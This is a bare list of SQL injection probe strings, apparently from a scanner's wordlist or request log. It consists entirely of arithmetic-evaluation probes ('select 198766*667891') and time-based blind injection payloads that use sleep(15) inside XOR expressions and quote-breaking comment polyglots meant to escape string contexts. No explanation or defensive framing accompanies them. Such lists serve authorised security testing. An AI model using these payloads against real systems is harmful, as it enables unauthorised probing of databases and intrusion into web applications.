(select 198766*667891)
(select 198766*667891 from DUAL)
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/